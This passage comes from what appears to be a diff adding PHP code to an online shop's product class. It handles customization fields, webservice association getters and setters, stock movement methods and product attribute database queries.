(!$result = Db::getInstance()->executeS(' + SELECT cd.`id_customization`, c.`id_address_delivery`, c.`id_product`, cfl.`id_customization_field`, c.`id_product_attribute`, + cd.`type`, cd.`index`, cd.`value`, cfl.`name` + FROM `'._DB_PREFIX_.'customized_data` cd + NATURAL JOIN `'._DB_PREFIX_.'customization` c + LEFT JOIN `'._DB_PREFIX_.'customization_field_lang` cfl ON (cfl.id_customization_field = cd.`index` AND id_lang = '.(int)$id_lang.') + WHERE c.`id_cart` = '.(int)$id_cart. + ($only_in_cart ? ' AND c.`in_cart` = 1' : '').' + ORDER BY `id_product`, `id_product_attribute`, `type`, `index`')) + return false; + + $customized_datas = array(); + + foreach ($result as $row) + $customized_datas[(int)$row['id_product']][(int)$row['id_product_attribute']][(int)$row['id_address_delivery']][(int)$row['id_customization']]['datas'][(int)$row['type']][] = $row; + + if (!$result = Db::getInstance()->executeS( + 'SELECT `id_product`, `id_product_attribute`, `id_customization`, `id_address_delivery`, `quantity`, `quantity_refunded`, `quantity_returned` + FROM `'._DB_PREFIX_.'customization` + WHERE `id_cart` = '.(int)($id_cart).($only_in_cart ? ' + AND `in_cart` = 1' : ''))) + return false; + + foreach ($result as $row) + { + $customized_datas[(int)$row['id_product']][(int)$row['id_product_attribute']][(int)$row['id_address_delivery']][(int)$row['id_customization']]['quantity'] = (int)$row['quantity']; + $customized_datas[(int)$row['id_product']][(int)$row['id_product_attribute']][(int)$row['id_address_delivery']][(int)$row['id_customization']]['quantity_refunded'] = (int)$row['quantity_refunded']; + $customized_datas[(int)$row['id_product']][(int)$row['id_product_attribute']][(int)$row['id_address_delivery']][(int)$row['id_customization']]['quantity_returned'] = (int)$row['quantity_returned']; + } + + return $customized_datas; + } + + public static function addCustomizationPrice(&$products, &$customized_datas) + { + if (!$customized_datas) + return; + + foreach ($products as &$product_update) + { + if (!Customization::isFeatureActive()) + { + $product_update['customizationQuantityTotal'] = 0; + $product_update['customizationQuantityRefunded'] = 0; + $product_update['customizationQuantityReturned'] = 0; + } + else + { + $customization_quantity = 0; + $customization_quantity_refunded = 0; + $customization_quantity_returned = 0; + + /* Compatibility */ + $product_id = (int)(isset($product_update['id_product']) ? $product_update['id_product'] : $product_update['product_id']); + $product_attribute_id = (int)(isset($product_update['id_product_attribute']) ? $product_update['id_product_attribute'] : $product_update['product_attribute_id']); + $id_address_delivery = (int)$product_update['id_address_delivery']; + $product_quantity = (int)(isset($product_update['cart_quantity']) ? $product_update['cart_quantity'] : $product_update['product_quantity']); + $price = isset($product_update['price']) ? $product_update['price'] : $product_update['product_price']; + if (isset($product_update['price_wt']) && $product_update['price_wt']) + $price_wt = $product_update['price_wt']; + else + $price_wt = $price * (1 + ((isset($product_update['tax_rate']) ? $product_update['tax_rate'] : $product_update['rate']) * 0.01)); + + if (isset($customized_datas[$product_id][$product_attribute_id])) + foreach ($customized_datas[$product_id][$product_attribute_id][$id_address_delivery] as $customization) + { + $customization_quantity += (int)$customization['quantity']; + $customization_quantity_refunded += (int)$customization['quantity_refunded']; + $customization_quantity_returned += (int)$customization['quantity_returned']; + } + + $product_update['customizationQuantityTotal'] = $customization_quantity; + $product_update['customizationQuantityRefunded'] = $customization_quantity_refunded; + $product_update['customizationQuantityReturned'] = $customization_quantity_returned; + + if ($customization_quantity) + { + $product_update['total_wt'] = $price_wt * ($product_quantity - $customization_quantity); + $product_update['total_customization_wt'] = $price_wt * $customization_quantity; + $product_update['total'] = $price * ($product_quantity - $customization_quantity); + $product_update['total_customization'] = $price * $customization_quantity; + } + } + } + } + + /* + ** Customization fields' label management + */ + + protected function _checkLabelField($field, $value) + { + if (!Validate::isLabel($value)) + return false; + $tmp = explode('_', $field); + if (count($tmp) < 4) + return false; + return $tmp; + } + + protected function _deleteOldLabels() + { + $max = array( + Product::CUSTOMIZE_FILE => (int)Tools::getValue('uploadable_files'), + Product::CUSTOMIZE_TEXTFIELD => (int)Tools::getValue('text_fields') + ); + + /* Get customization field ids */ + if (($result = Db::getInstance()->executeS( + 'SELECT `id_customization_field`, `type` + FROM `'._DB_PREFIX_.'customization_field` + WHERE `id_product` = '.(int)$this->id.' + ORDER BY `id_customization_field`') + ) === false) + return false; + + if (empty($result)) + return true; + + $customization_fields = array( + Product::CUSTOMIZE_FILE => array(), + Product::CUSTOMIZE_TEXTFIELD => array() + ); + + foreach ($result as $row) + $customization_fields[(int)$row['type']][] = (int)$row['id_customization_field']; + + $extra_file = count($customization_fields[Product::CUSTOMIZE_FILE]) - $max[Product::CUSTOMIZE_FILE]; + $extra_text = count($customization_fields[Product::CUSTOMIZE_TEXTFIELD]) - $max[Product::CUSTOMIZE_TEXTFIELD]; + + /* If too much inside the database, deletion */ + if ($extra_file > 0 && count($customization_fields[Product::CUSTOMIZE_FILE]) - $extra_file >= 0 && + (!Db::getInstance()->execute( + 'DELETE FROM `'._DB_PREFIX_.'customization_field` + WHERE `id_product` = '.(int)$this->id.' + AND `type` = '.Product::CUSTOMIZE_FILE.' + AND `id_customization_field` >= '.(int)$customization_fields[Product::CUSTOMIZE_FILE][count($customization_fields[Product::CUSTOMIZE_FILE]) - $extra_file] + ) + || !Db::getInstance()->execute( + 'DELETE FROM `'._DB_PREFIX_.'customization_field_lang` + WHERE `id_customization_field` + NOT IN ( + SELECT `id_customization_field` + FROM `'._DB_PREFIX_.'customization_field` + )' + ))) + return false; + + if ($extra_text > 0 && count($customization_fields[Product::CUSTOMIZE_TEXTFIELD]) - $extra_text >= 0 && + (!Db::getInstance()->execute( + 'DELETE FROM `'._DB_PREFIX_.'customization_field` + WHERE `id_product` = '.(int)$this->id.' + AND `type` = '.Product::CUSTOMIZE_TEXTFIELD.' + AND `id_customization_field` >= '.(int)$customization_fields[Product::CUSTOMIZE_TEXTFIELD][count($customization_fields[Product::CUSTOMIZE_TEXTFIELD]) - $extra_text] + ) + || !Db::getInstance()->execute( + 'DELETE FROM `'._DB_PREFIX_.'customization_field_lang` + WHERE `id_customization_field` + NOT IN ( + SELECT `id_customization_field` + FROM `'._DB_PREFIX_.'customization_field` + )' + ))) + return false; + + // Refresh cache of feature detachable + Configuration::updateGlobalValue('PS_CUSTOMIZATION_FEATURE_ACTIVE', Customization::isCurrentlyUsed()); + + return true; + } + + protected function _createLabel(&$languages, $type) + { + // Label insertion + if (!Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'customization_field` (`id_product`, `type`, `required`) + VALUES ('.(int)$this->id.', '.(int)$type.', 0)') || + !$id_customization_field = (int)Db::getInstance()->Insert_ID()) + return false; + + // Multilingual label name creation + $values = ''; + foreach ($languages as $language) + $values .= '('.(int)$id_customization_field.', '.(int)$language['id_lang'].', \'\'), '; + + $values = rtrim($values, ', '); + if (!Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'customization_field_lang` (`id_customization_field`, `id_lang`, `name`) + VALUES '.$values)) + return false; + + // Set cache of feature detachable to true + Configuration::updateGlobalValue('PS_CUSTOMIZATION_FEATURE_ACTIVE', '1'); + + return true; + } + + public function createLabels($uploadable_files, $text_fields) + { + $languages = Language::getLanguages(); + if ((int)$uploadable_files > 0) + for ($i = 0; $i < (int)$uploadable_files; $i++) + if (!$this->_createLabel($languages, Product::CUSTOMIZE_FILE)) + return false; + + if ((int)$text_fields > 0) + for ($i = 0; $i < (int)$text_fields; $i++) + if (!$this->_createLabel($languages, Product::CUSTOMIZE_TEXTFIELD)) + return false; + + return true; + } + + public function updateLabels() + { + $has_required_fields = 0; + foreach ($_POST as $field => $value) + /* Label update */ + if (strncmp($field, 'label_', 6) == 0) + { + if (!$tmp = $this->_checkLabelField($field, $value)) + return false; + /* Multilingual label name update */ + if (!Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'customization_field_lang` + (`id_customization_field`, `id_lang`, `name`) VALUES ('.(int)$tmp[2].', '.(int)$tmp[3].', \''.pSQL($value).'\') + ON DUPLICATE KEY UPDATE `name` = \''.pSQL($value).'\'')) + return false; + $is_required = isset($_POST['require_'.(int)$tmp[1].'_'.(int)$tmp[2]]) ? 1 : 0; + $has_required_fields |= $is_required; + /* Require option update */ + if (!Db::getInstance()->execute( + 'UPDATE `'._DB_PREFIX_.'customization_field` + SET `required` = '.(int)$is_required.' + WHERE `id_customization_field` = '.(int)$tmp[2])) + return false; + } + + if ($has_required_fields && !ObjectModel::updateMultishopTable('product', array('customizable' => 2), 'a.id_product = '.(int)$this->id)) + return false; + + if (!$this->_deleteOldLabels()) + return false; + + return true; + } + + public function getCustomizationFields($id_lang = false) + { + if (!Customization::isFeatureActive()) + return false; + + if (!$result = Db::getInstance()->executeS(' + SELECT cf.`id_customization_field`, cf.`type`, cf.`required`, cfl.`name`, cfl.`id_lang` + FROM `'._DB_PREFIX_.'customization_field` cf + NATURAL JOIN `'._DB_PREFIX_.'customization_field_lang` cfl + WHERE cf.`id_product` = '.(int)$this->id.($id_lang ? ' AND cfl.`id_lang` = '.(int)$id_lang : '').' + ORDER BY cf.`id_customization_field`')) + return false; + + if ($id_lang) + return $result; + + $customization_fields = array(); + foreach ($result as $row) + $customization_fields[(int)$row['type']][(int)$row['id_customization_field']][(int)$row['id_lang']] = $row; + + return $customization_fields; + } + + public function getCustomizationFieldIds() + { + if (!Customization::isFeatureActive()) + return array(); + return Db::getInstance()->executeS(' + SELECT `id_customization_field`, `type`, `required` + FROM `'._DB_PREFIX_.'customization_field` + WHERE `id_product` = '.(int)$this->id); + } + + public function getRequiredCustomizableFields() + { + if (!Customization::isFeatureActive()) + return array(); + return Db::getInstance()->executeS(' + SELECT `id_customization_field`, `type` + FROM `'._DB_PREFIX_.'customization_field` + WHERE `id_product` = '.(int)$this->id.' + AND `required` = 1' + ); + } + + public function hasAllRequiredCustomizableFields(Context $context = null) + { + if (!Customization::isFeatureActive()) + return true; + if (!$context) + $context = Context::getContext(); + + $fields = $context->cart->getProductCustomization($this->id, null, true); + if (($required_fields = $this->getRequiredCustomizableFields()) === false) + return false; + + $fields_present = array(); + foreach ($fields as $field) + $fields_present[] = array('id_customization_field' => $field['index'], 'type' => $field['type']); + foreach ($required_fields as $required_field) + if (!in_array($required_field, $fields_present)) + return false; + return true; + } + + + /** + * Checks if the product is in at least one of the submited categories + * + * @param int $id_product + * @param array $categories array of category arrays + * @return boolean is the product in at least one category + */ + public static function idIsOnCategoryId($id_product, $categories) + { + if (!((int)$id_product > 0) || !is_array($categories) || empty($categories)) + return false; + $sql = 'SELECT id_product FROM `'._DB_PREFIX_.'category_product` WHERE `id_product` = '.(int)$id_product.' AND `id_category` IN ('; + foreach ($categories as $category) + $sql .= (int)$category['id_category'].','; + $sql = rtrim($sql, ',').')'; + + $hash = md5($sql); + if (!isset(self::$_incat[$hash])) + { + if (!Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($sql)) + return false; + self::$_incat[$hash] = (Db::getInstance(_PS_USE_SQL_SLAVE_)->NumRows() > 0 ? true : false); + } + return self::$_incat[$hash]; + } + + public function getNoPackPrice() + { + return Pack::noPackPrice($this->id); + } + + public function checkAccess($id_customer) + { + if (!$id_customer) + return (bool)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT ctg.`id_group` + FROM `'._DB_PREFIX_.'category_product` cp + INNER JOIN `'._DB_PREFIX_.'category_group` ctg ON (ctg.`id_category` = cp.`id_category`) + WHERE cp.`id_product` = '.(int)$this->id.' AND ctg.`id_group` ='.(int)Group::getCurrent()->id); + else + return (bool)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT cg.`id_group` + FROM `'._DB_PREFIX_.'category_product` cp + INNER JOIN `'._DB_PREFIX_.'category_group` ctg ON (ctg.`id_category` = cp.`id_category`) + INNER JOIN `'._DB_PREFIX_.'customer_group` cg ON (cg.`id_group` = ctg.`id_group`) + WHERE cp.`id_product` = '.(int)$this->id.' AND cg.`id_customer` = '.(int)$id_customer); + } + + + /** + * Add a stock movement for current product + * + * Since 1.5, this method only permit to add/remove available quantities of the current product in the current shop + * + * @see StockManager if you want to manage real stock + * @see StockAvailable if you want to manage available quantities for sale on your shop(s) + * + * @deprecated since 1.5.0 + * + * @param int $quantity + * @param int $id_reason - useless + * @param int $id_product_attribute + * @param int $id_order - useless + * @param int $id_employee - useless + * @return bool + */ + public function addStockMvt($quantity, $id_reason, $id_product_attribute = null, $id_order = null, $id_employee = null) + { + if (!$this->id || !$id_reason) + return false; + + if ($id_product_attribute == null) + $id_product_attribute = 0; + + $reason = new StockMvtReason((int)$id_reason); + if (!Validate::isLoadedObject($reason)) + return false; + + $quantity = abs((int)$quantity) * $reason->sign; + + return StockAvailable::updateQuantity($this->id, $id_product_attribute, $quantity); + } + + /** + * @deprecated since 1.5.0 + */ + public function getStockMvts($id_lang) + { + Tools::displayAsDeprecated(); + + return Db::getInstance()->executeS(' + SELECT sm.id_stock_mvt, sm.date_add, sm.quantity, sm.id_order, + CONCAT(pl.name, \' \', GROUP_CONCAT(IFNULL(al.name, \'\'), \'\')) product_name, CONCAT(e.lastname, \' \', e.firstname) employee, mrl.name reason + FROM `'._DB_PREFIX_.'stock_mvt` sm + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON ( + sm.id_product = pl.id_product + AND pl.id_lang = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl').' + ) + LEFT JOIN `'._DB_PREFIX_.'stock_mvt_reason_lang` mrl ON ( + sm.id_stock_mvt_reason = mrl.id_stock_mvt_reason + AND mrl.id_lang = '.(int)$id_lang.' + ) + LEFT JOIN `'._DB_PREFIX_.'employee` e ON ( + e.id_employee = sm.id_employee + ) + LEFT JOIN `'._DB_PREFIX_.'product_attribute_combination` pac ON ( + pac.id_product_attribute = sm.id_product_attribute + ) + LEFT JOIN `'._DB_PREFIX_.'attribute_lang` al ON ( + al.id_attribute = pac.id_attribute + AND al.id_lang = '.(int)$id_lang.' + ) + WHERE sm.id_product='.(int)$this->id.' + GROUP BY sm.id_stock_mvt + '); + } + + public static function getUrlRewriteInformations($id_product) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT pl.`id_lang`, pl.`link_rewrite`, p.`ean13`, cl.`link_rewrite` AS category_rewrite + FROM `'._DB_PREFIX_.'product` p + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON (p.`id_product` = pl.`id_product`'.Shop::addSqlRestrictionOnLang('pl').') + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'lang` l ON (pl.`id_lang` = l.`id_lang`) + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl ON (cl.`id_category` = product_shop.`id_category_default` AND cl.`id_lang` = pl.`id_lang`'.Shop::addSqlRestrictionOnLang('cl').') + WHERE p.`id_product` = '.(int)$id_product.' + AND l.`active` = 1 + '); + } + + public function getIdTaxRulesGroup() + { + return $this->id_tax_rules_group; + } + + public static function getIdTaxRulesGroupByIdProduct($id_product, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + $key = 'product_id_tax_rules_group_'.(int)$id_product.'_'.(int)$context->shop->id; + if (!Cache::isStored($key)) + Cache::store($key, + Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `id_tax_rules_group` + FROM `'._DB_PREFIX_.'product_shop` + WHERE `id_product` = '.(int)$id_product.' AND id_shop='.(int)$context->shop->id)); + + return Cache::retrieve($key); + } + + /** + * @return the total taxes rate applied to the product + */ + public function getTaxesRate(Address $address = null) + { + if (!$address || !$address->id_country) + $address = Address::initialize(); + + $tax_manager = TaxManagerFactory::getManager($address, $this->id_tax_rules_group); + $tax_calculator = $tax_manager->getTaxCalculator(); + + return $tax_calculator->getTotalRate(); + } + + /** + * Webservice getter : get product features association + * + * @return array + */ + public function getWsProductFeatures() + { + $rows = $this->getFeatures(); + foreach ($rows as $keyrow => $row) + { + foreach ($row as $keyfeature => $feature) + { + if ($keyfeature == 'id_feature') + { + $rows[$keyrow]['id'] = $feature; + unset($rows[$keyrow]['id_feature']); + } + unset($rows[$keyrow]['id_product']); + } + asort($rows[$keyrow]); + } + return $rows; + } + + /** + * Webservice setter : set product features association + * + * @param $productFeatures Product Feature ids + * @return boolean + */ + public function setWsProductFeatures($product_features) + { + $this->deleteProductFeatures(); + foreach ($product_features as $product_feature) + $this->addFeaturesToDB($product_feature['id'], $product_feature['id_feature_value']); + return true; + } + + /** + * Webservice getter : get virtual field default combination + * + * @return int + */ + public function getWsDefaultCombination() + { + return Product::getDefaultAttribute($this->id); + } + + /** + * Webservice setter : set virtual field default combination + * + * @param $id_combination id default combination + */ + public function setWsDefaultCombination($id_combination) + { + $this->deleteDefaultAttributes(); + return $this->setDefaultAttribute((int)$id_combination); + } + + /** + * Webservice getter : get category ids of current product for association + * + * @return array + */ + public function getWsCategories() + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS( + 'SELECT cp.`id_category` AS id + FROM `'._DB_PREFIX_.'category_product` cp + LEFT JOIN `'._DB_PREFIX_.'category` c ON (c.id_category = cp.id_category) + '.Shop::addSqlAssociation('category', 'c').' + WHERE cp.`id_product` = '.(int)$this->id + ); + return $result; + } + + /** + * Webservice setter : set category ids of current product for association + * + * @param $category_ids category ids + */ + public function setWsCategories($category_ids) + { + $ids = array(); + foreach ($category_ids as $value) + $ids[] = $value['id']; + if ($this->deleteCategories()) + { + if ($ids) + { + $sql_values = ''; + $ids = array_map('intval', $ids); + foreach ($ids as $position => $id) + $sql_values[] = '('.(int)$id.', '.(int)$this->id.', '.(int)$position.')'; + $result = Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'category_product` (`id_category`, `id_product`, `position`) + VALUES '.implode(',', $sql_values) + ); + return $result; + } + } + return true; + } + + /** + * Webservice getter : get product accessories ids of current product for association + * + * @return array + */ + public function getWsAccessories() + { + $result = Db::getInstance()->executeS( + 'SELECT p.`id_product` AS id + FROM `'._DB_PREFIX_.'accessory` a + LEFT JOIN `'._DB_PREFIX_.'product` p ON (p.id_product = a.id_product_2) + '.Shop::addSqlAssociation('product', 'p').' + WHERE a.`id_product_1` = '.(int)$this->id + ); + + return $result; + } + + /** + * Webservice setter : set product accessories ids of current product for association + * + * @param $accessories product ids + */ + public function setWsAccessories($accessories) + { + foreach ($accessories as $accessory) + Db::getInstance()->execute('INSERT INTO `'._DB_PREFIX_.'accessory` (`id_product_1`, `id_product_2`) VALUES ('.(int)$this->id.', '.(int)$accessory['id'].')'); + + return true; + } + + /** + + /** + * Webservice getter : get combination ids of current product for association + * + * @return array + */ + public function getWsCombinations() + { + $result = Db::getInstance()->executeS( + 'SELECT pa.`id_product_attribute` as id + FROM `'._DB_PREFIX_.'product_attribute` pa + '.Shop::addSqlAssociation('product_attribute', 'pa').' + WHERE `id_product` = '.(int)$this->id + ); + + return $result; + } + + /** + * Webservice setter : set combination ids of current product for association + * + * @param $combinations combination ids + */ + public function setWsCombinations($combinations) + { + // No hook exec + $ids_new = array(); + foreach ($combinations as $combination) + $ids_new[] = (int)$combination['id']; + + $ids_orig = array(); + $original = Db::getInstance()->executeS( + 'SELECT pa.`id_product_attribute` as id + FROM `'._DB_PREFIX_.'product_attribute` pa + '.Shop::addSqlAssociation('product_attribute', 'pa').' + WHERE `id_product` = '.(int)$this->id + ); + + if (is_array($original)) + foreach ($original as $id) + $ids_orig[] = $id['id']; + + $all_ids = array(); + $all = Db::getInstance()->executeS('SELECT pa.`id_product_attribute` as id FROM `'._DB_PREFIX_.'product_attribute` pa '.Shop::addSqlAssociation('product_attribute', 'pa')); + if (is_array($all)) + foreach ($all as $id) + $all_ids[] = $id['id']; + + $to_add = array(); + foreach ($ids_new as $id) + if (!in_array($id, $ids_orig)) + $to_add[] = $id; + + $to_delete = array(); + foreach ($ids_orig as $id) + if (!in_array($id, $ids_new)) + $to_delete[] = $id; + + // Delete rows + if (count($to_delete) > 0) + foreach ($to_delete as $id) + { + $combination = new Combination($id); + $combination->delete(); + } + + foreach ($to_add as $id) + { + // Update id_product if exists else create + if (in_array($id, $all_ids)) + Db::getInstance()->execute('UPDATE `'._DB_PREFIX_.'product_attribute` SET id_product = '.(int)$this->id.' WHERE id_product_attribute='.$id); + else + Db::getInstance()->execute('INSERT INTO `'._DB_PREFIX_.'product_attribute` (`id_product`) VALUES ('.$this->id.')'); + } + return true; + } + + /** + * Webservice getter : get product option ids of current product for association + * + * @return array + */ + public function getWsProductOptionValues() + { + $result = Db::getInstance()->executeS('SELECT DISTINCT pac.id_attribute as id + FROM `'._DB_PREFIX_.'product_attribute` pa + '.Shop::addSqlAssociation('product_attribute', 'pa').' + LEFT JOIN `'._DB_PREFIX_.'product_attribute_combination` pac ON (pac.id_product_attribute = pa.id_product_attribute) + WHERE pa.id_product = '.(int)$this->id); + return $result; + } + + /** + * Webservice getter : get virtual field position in category + * + * @return int + */ + public function getWsPositionInCategory() + { + $result = Db::getInstance()->executeS('SELECT position + FROM `'._DB_PREFIX_.'category_product` + WHERE id_category = '.(int)$this->id_category_default.' + AND id_product = '.(int)$this->id); + if (count($result) > 0) + return $result[0]['position']; + return ''; + } + + /** + * Webservice getter : get virtual field id_default_image in category + * + * @return int + */ + public function getCoverWs() + { + $result = $this->getCover($this->id); + return $result['id_image']; + } + + /** + * Webservice setter : set virtual field id_default_image in category + * + * @return bool + */ + public function setCoverWs($id_image) + { + Db::getInstance()->execute('UPDATE `'._DB_PREFIX_.'image_shop` image_shop, `'._DB_PREFIX_.'image` i + SET image_shop.`cover` = 0 + WHERE i.`id_product` = '.(int)$this->id.' AND i.id_image = image_shop.id_image + AND image_shop.id_shop='.(int)Context::getContext()->shop->id); + Db::getInstance()->execute('UPDATE `'._DB_PREFIX_.'image_shop` + SET `cover` = 1 WHERE `id_image` = '.(int)$id_image); + + return true; + } + + /** + * Webservice getter : get image ids of current product for association + * + * @return array + */ + public function getWsImages() + { + return Db::getInstance()->executeS(' + SELECT i.`id_image` as id + FROM `'._DB_PREFIX_.'image` i + '.Shop::addSqlAssociation('image', 'i').' + WHERE i.`id_product` = '.(int)$this->id.' + ORDER BY i.`position`'); + } + + public function getWsStockAvailables() + { + return Db::getInstance()->executeS('SELECT `id_stock_available` id, `id_product_attribute` + FROM `'._DB_PREFIX_.'stock_available` + WHERE `id_product`='.($this->id).StockAvailable::addSqlShopRestriction()); + } + + public function getWsTags() + { + return Db::getInstance()->executeS(' + SELECT `id_tag` as id + FROM `'._DB_PREFIX_.'product_tag` + WHERE `id_product` = '.(int)$this->id); + } + + + public function getWsManufacturerName() + { + return Manufacturer::getNameById((int)$this->id_manufacturer); + } + + public static function resetEcoTax() + { + return ObjectModel::updateMultishopTable('product', array( + 'ecotax' => 0, + ), ''); + } + + /** + * Set Group reduction if needed + */ + public function setGroupReduction() + { + return GroupReduction::setProductReduction($this->id, null, $this->id_category_default); + } + + /** + * Checks if reference exists + * @return boolean + */ + public function existsRefInDatabase($reference) + { + $row = Db::getInstance()->getRow(' + SELECT `reference` + FROM `'._DB_PREFIX_.'product` p + WHERE p.reference = "'.pSQL($reference).'"'); + + return isset($row['reference']); + } + + /** + * Get all product attributes ids + * + * @since 1.5.0 + * @param int $id_product the id of the product + * @return array product attribute id list + */ + public static function getProductAttributesIds($id_product, $shop_only = false) + { + return Db::getInstance()->executeS(' + SELECT pa.id_product_attribute + FROM `'._DB_PREFIX_.'product_attribute` pa'. + ($shop_only ? Shop::addSqlAssociation('product_attribute', 'pa') : '').' + WHERE pa.`id_product` = '.(int)$id_product); + } + + /** + * Get label by lang and value by lang too + * @todo Remove existing module condition + * @param int $id_product + * @param int $product_attribute_id + * @return array + */ + public static function getAttributesParams($id_product, $id_product_attribute) + { + // if blocklayered module is installed we check if user has set custom attribute name + if (Module::isInstalled('blocklayered')) + { + $nb_custom_values = Db::getInstance()->executeS(' + SELECT DISTINCT la.`id_attribute`, la.`url_name` as `name` + FROM `'._DB_PREFIX_.'attribute` a + LEFT JOIN `'._DB_PREFIX_.'product_attribute_combination` pac + ON (a.`id_attribute` = pac.`id_attribute`) + LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa + ON (pac.`id_product_attribute` = pa.`id_product_attribute`) + '.Shop::addSqlAssociation('product_attribute', 'pa').' + LEFT JOIN `'._DB_PREFIX_.'layered_indexable_attribute_lang_value` la + ON (la.`id_attribute` = a.`id_attribute` AND la.`id_lang` = '.(int)Context::getContext()->language->id.') + WHERE la.`url_name` IS NOT NULL AND la.`url_name` != \'\' + AND pa.`id_product` = '.(int)$id_product.' + AND pac.`id_product_attribute` = '.(int)$id_product_attribute); + + if (!empty($nb_custom_values)) + { + $tab_id_attribute = array(); + foreach ($nb_custom_values as $attribute) + { + $tab_id_attribute[] = $attribute['id_attribute']; + + $group = Db::getInstance()->executeS(' + SELECT g.`id_attribute_group`, g.`url_name` as `group` + FROM `'._DB_PREFIX_.'layered_indexable_attribute_group_lang_value` g + LEFT JOIN `'._DB_PREFIX_.'attribute` a + ON (a.`id_attribute_group` = g.`id_attribute_group`) + WHERE a.`id_attribute` = '.(int)$attribute['id_attribute'].' + AND g.`id_lang` = '.(int)Context::getContext()->language->id.' + AND g.`url_name` IS NOT NULL AND g.`url_name` != \'\''); + if (empty($group)) + { + $group = Db::getInstance()->executeS(' + SELECT g.`id_attribute_group`, g.`name` as `group` + FROM `'._DB_PREFIX_.'attribute_group_lang` g + LEFT JOIN `'._DB_PREFIX_.'attribute` a + ON (a.`id_attribute_group` = g.`id_attribute_group`) + WHERE a.`id_attribute` = '.(int)$attribute['id_attribute'].' + AND g.`id_lang` = '.(int)Context::getContext()->language->id.' + AND g.`name` IS NOT NULL'); + } + $result[] = array_merge($attribute, $group[0]); + } + $values_not_custom = Db::getInstance()->executeS(' + SELECT DISTINCT a.`id_attribute_group`, al.`name`, agl.`name` as `group` + FROM `'._DB_PREFIX_.'attribute` a + LEFT JOIN `'._DB_PREFIX_.'attribute_lang` al + ON (a.`id_attribute` = al.`id_attribute` AND al.`id_lang` = '.(int)Context::getContext()->language->id.') + LEFT JOIN `'._DB_PREFIX_.'attribute_group_lang` agl + ON (a.`id_attribute_group` = agl.`id_attribute_group` AND agl.`id_lang` = '.(int)Context::getContext()->language->id.') + LEFT JOIN `'._DB_PREFIX_.'product_attribute_combination` pac + ON (a.`id_attribute` = pac.`id_attribute`) + LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa + ON (pac.`id_product_attribute` = pa.`id_product_attribute`) + '.Shop::addSqlAssociation('product_attribute', 'pa').' + WHERE pa.`id_product` = '.(int)$id_product.' + AND pac.id_product_attribute = '.(int)$id_product_attribute.' + AND a.`id_attribute` NOT IN('.implode(', ', $tab_id_attribute).')'); + $result = array_merge($values_not_custom, $result); + } + else + { + $result = Db::getInstance()->executeS(' + SELECT al.`name`, agl.`name` as `group` + FROM `'._DB_PREFIX_.'attribute` a + LEFT JOIN `'._DB_PREFIX_.'attribute_lang` al + ON (al.`id_attribute` = a.`id_attribute` AND al.`id_lang` = '.(int)Context::getContext()->language->id.') + LEFT JOIN `'._DB_PREFIX_.'product_attribute_combination` pac + ON (pac.`id_attribute` = a.`id_attribute`) + LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa + ON (pa.`id_product_attribute` = pac.`id_product_attribute`) + '.Shop::addSqlAssociation('product_attribute', 'pa').' + LEFT JOIN `'._DB_PREFIX_.'attribute_group_lang` agl + ON (a.`id_attribute_group` = agl.`id_attribute_group` AND agl.`id_lang` = '.(int)Context::getContext()->language->id.') + WHERE pa.`id_product` = '.(int)$id_product.' + AND pac.`id_product_attribute` = '.(int)$id_product_attribute.' + AND agl.`id_lang` = '.(int)Context::getContext()->language->id); + } + } + else + { + $result = Db::getInstance()->executeS(' + SELECT al.`name`, agl.`name` as `group` + FROM `'._DB_PREFIX_.'attribute` a + LEFT JOIN `'._DB_PREFIX_.'attribute_lang` al + ON (al.`id_attribute` = a.`id_attribute` AND al.`id_lang` = '.(int)Context::getContext()->language->id.') + LEFT JOIN `'._DB_PREFIX_.'product_attribute_combination` pac + ON (pac.`id_attribute` = a.`id_attribute`) + LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa + ON (pa.`id_product_attribute` = pac.`id_product_attribute`) + '.Shop::addSqlAssociation('product_attribute', 'pa').' + LEFT JOIN `'._DB_PREFIX_.'attribute_group_lang` agl + ON (a.`id_attribute_group` = agl.`id_attribute_group` AND agl.`id_lang` = '.(int)Context::getContext()->language->id.') + WHERE pa.`id_product` = '.(int)$id_product.' + AND pac.`id_product_attribute` = '.(int)$id_product_attribute.' + AND agl.`id_lang` = '.(int)Context::getContext()->language->id); + } + return $result; + } + + /** + * @todo Remove existing module condition + * @param int $id_product + */ + public static function getAttributesInformationsByProduct($id_product) + { + // if blocklayered module is installed we check if user has set custom attribute name + if (Module::isInstalled('blocklayered')) + { + $nb_custom_values = Db::getInstance()->executeS(' + SELECT DISTINCT la.`id_attribute`, la.`url_name` as `attribute` + FROM `'._DB_PREFIX_.'attribute` a + LEFT JOIN `'._DB_PREFIX_.'product_attribute_combination` pac + ON (a.`id_attribute` = pac.`id_attribute`) + LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa + ON (pac.`id_product_attribute` = pa.`id_product_attribute`) + '.Shop::addSqlAssociation('product_attribute', 'pa').' + LEFT JOIN `'._DB_PREFIX_.'layered_indexable_attribute_lang_value` la + ON (la.`id_attribute` = a.`id_attribute` AND la.`id_lang` = '.(int)Context::getContext()->language->id.') + WHERE la.`url_name` IS NOT NULL AND la.`url_name` != \'\' + AND pa.`id_product` = '.(int)$id_product); + + if (!empty($nb_custom_values)) + { + $tab_id_attribute = array(); + foreach ($nb_custom_values as $attribute) + { + $tab_id_attribute[] = $attribute['id_attribute']; + + $group = Db::getInstance()->executeS(' + SELECT g.`id_attribute_group`, 